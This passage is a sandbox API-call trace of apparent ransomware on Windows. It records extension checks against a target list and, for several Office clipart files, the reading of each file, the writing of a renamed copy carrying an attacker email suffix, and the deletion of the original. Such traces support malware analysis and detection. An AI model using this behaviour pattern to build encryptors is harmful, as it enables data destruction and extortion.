	[0069.314] lstrlenW (lpString=".1cd") returned 4
	[0069.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString=".jpg") returned 4
	[0069.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString=".doc") returned 4
	[0069.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString=".docx") returned 5
	[0069.315] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0069.315] lstrlenW (lpString=".pdf") returned 4
	[0069.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString=".xls") returned 4
	[0069.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString=".xlsx") returned 5
	[0069.315] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0069.315] lstrlenW (lpString=".ppt") returned 4
	[0069.315] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString=".zip") returned 4
	[0069.315] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.315] lstrlenW (lpString=".rar") returned 4
	[0069.315] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString=".bz2") returned 4
	[0069.315] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString=".7z") returned 3
	[0069.315] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString=".dbf") returned 4
	[0069.315] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.315] lstrlenW (lpString=".1cd") returned 4
	[0069.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0069.316] lstrlenW (lpString=".jpg") returned 4
	[0069.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.316] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.316] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0069.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.317] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=7216) returned 1
	[0069.317] CloseHandle (hObject=0x320) returned 1
	[0069.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220
	[0069.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.317] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.317] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.317] GetLastError () returned 0x0
	[0069.317] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1c30, lpOverlapped=0x0) returned 1
	[0069.376] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1c40, lpOverlapped=0x0) returned 1
	[0069.377] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.377] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.377] SetEndOfFile (hFile=0x384) returned 1
	[0069.378] CloseHandle (hObject=0x384) returned 1
	[0069.378] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.378] SetEndOfFile (hFile=0x320) returned 1
	[0069.379] CloseHandle (hObject=0x320) returned 1
	[0069.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1
	[0069.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.380] lstrlenW (lpString=".doc") returned 4
	[0069.380] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.380] lstrlenW (lpString=".docx") returned 5
	[0069.380] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.380] lstrlenW (lpString=".pdf") returned 4
	[0069.380] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.380] lstrlenW (lpString=".xls") returned 4
	[0069.380] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.380] lstrlenW (lpString=".xlsx") returned 5
	[0069.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.380] lstrlenW (lpString=".ppt") returned 4
	[0069.380] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.380] lstrlenW (lpString=".zip") returned 4
	[0069.380] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.380] lstrlenW (lpString=".rar") returned 4
	[0069.380] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.380] lstrlenW (lpString=".bz2") returned 4
	[0069.380] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.380] lstrlenW (lpString=".7z") returned 3
	[0069.380] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString=".dbf") returned 4
	[0069.381] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString=".1cd") returned 4
	[0069.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString=".jpg") returned 4
	[0069.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString=".doc") returned 4
	[0069.381] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.381] lstrlenW (lpString=".docx") returned 5
	[0069.381] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.381] lstrlenW (lpString=".pdf") returned 4
	[0069.381] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString=".xls") returned 4
	[0069.381] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString=".xlsx") returned 5
	[0069.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.381] lstrlenW (lpString=".ppt") returned 4
	[0069.381] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.381] lstrlenW (lpString=".zip") returned 4
	[0069.381] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString=".rar") returned 4
	[0069.381] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.381] lstrlenW (lpString=".bz2") returned 4
	[0069.381] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.381] lstrlenW (lpString=".7z") returned 3
	[0069.381] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.382] lstrlenW (lpString=".dbf") returned 4
	[0069.382] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.382] lstrlenW (lpString=".1cd") returned 4
	[0069.382] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0069.382] lstrlenW (lpString=".jpg") returned 4
	[0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.382] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.382] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0069.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.382] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=14873) returned 1
	[0069.382] CloseHandle (hObject=0x320) returned 1
	[0069.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220
	[0069.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.383] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.383] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.383] GetLastError () returned 0x0
	[0069.383] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x3a19, lpOverlapped=0x0) returned 1
	[0069.385] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0069.386] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.387] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.387] SetEndOfFile (hFile=0x384) returned 1
	[0069.387] CloseHandle (hObject=0x384) returned 1
	[0069.388] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.388] SetEndOfFile (hFile=0x320) returned 1
	[0069.389] CloseHandle (hObject=0x320) returned 1
	[0069.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1
	[0069.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.395] lstrlenW (lpString=".doc") returned 4
	[0069.395] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.395] lstrlenW (lpString=".docx") returned 5
	[0069.395] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.395] lstrlenW (lpString=".pdf") returned 4
	[0069.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.395] lstrlenW (lpString=".xls") returned 4
	[0069.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.395] lstrlenW (lpString=".xlsx") returned 5
	[0069.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.395] lstrlenW (lpString=".ppt") returned 4
	[0069.395] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString=".zip") returned 4
	[0069.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.396] lstrlenW (lpString=".rar") returned 4
	[0069.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.396] lstrlenW (lpString=".bz2") returned 4
	[0069.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.396] lstrlenW (lpString=".7z") returned 3
	[0069.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString=".dbf") returned 4
	[0069.396] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString=".1cd") returned 4
	[0069.396] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString=".jpg") returned 4
	[0069.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.396] lstrlenW (lpString=".doc") returned 4
	[0069.396] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.396] lstrlenW (lpString=".docx") returned 5
	[0069.396] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.396] lstrlenW (lpString=".pdf") returned 4
	[0069.396] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.396] lstrlenW (lpString=".xls") returned 4
	[0069.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.397] lstrlenW (lpString=".xlsx") returned 5
	[0069.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.397] lstrlenW (lpString=".ppt") returned 4
	[0069.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.397] lstrlenW (lpString=".zip") returned 4
	[0069.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.397] lstrlenW (lpString=".rar") returned 4
	[0069.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.397] lstrlenW (lpString=".bz2") returned 4
	[0069.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.397] lstrlenW (lpString=".7z") returned 3
	[0069.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.397] lstrlenW (lpString=".dbf") returned 4
	[0069.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.397] lstrlenW (lpString=".1cd") returned 4
	[0069.397] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0069.397] lstrlenW (lpString=".jpg") returned 4
	[0069.397] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.398] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.398] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0069.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.399] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=6684) returned 1
	[0069.399] CloseHandle (hObject=0x320) returned 1
	[0069.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220
	[0069.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.399] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.399] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.400] GetLastError () returned 0x0
	[0069.400] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1a1c, lpOverlapped=0x0) returned 1
	[0069.402] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1a20, lpOverlapped=0x0) returned 1
	[0069.403] ReadFile (in: hFile=0x320, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.403] WriteFile (in: hFile=0x384, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.404] SetEndOfFile (hFile=0x384) returned 1
	[0069.404] CloseHandle (hObject=0x384) returned 1
	[0069.405] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.405] SetEndOfFile (hFile=0x320) returned 1
	[0069.406] CloseHandle (hObject=0x320) returned 1
	[0069.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1
	[0069.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.847] lstrlenW (lpString=".doc") returned 4
	[0069.847] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.847] lstrlenW (lpString=".docx") returned 5
	[0069.848] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.848] lstrlenW (lpString=".pdf") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.848] lstrlenW (lpString=".xls") returned 4
	[0069.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.848] lstrlenW (lpString=".xlsx") returned 5
	[0069.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.848] lstrlenW (lpString=".ppt") returned 4
	[0069.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.848] lstrlenW (lpString=".zip") returned 4
	[0069.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.848] lstrlenW (lpString=".rar") returned 4
	[0069.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.848] lstrlenW (lpString=".bz2") returned 4
	[0069.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.848] lstrlenW (lpString=".7z") returned 3
	[0069.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.848] lstrlenW (lpString=".dbf") returned 4
	[0069.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.848] lstrlenW (lpString=".1cd") returned 4
	[0069.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.848] lstrlenW (lpString=".jpg") returned 4
	[0069.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
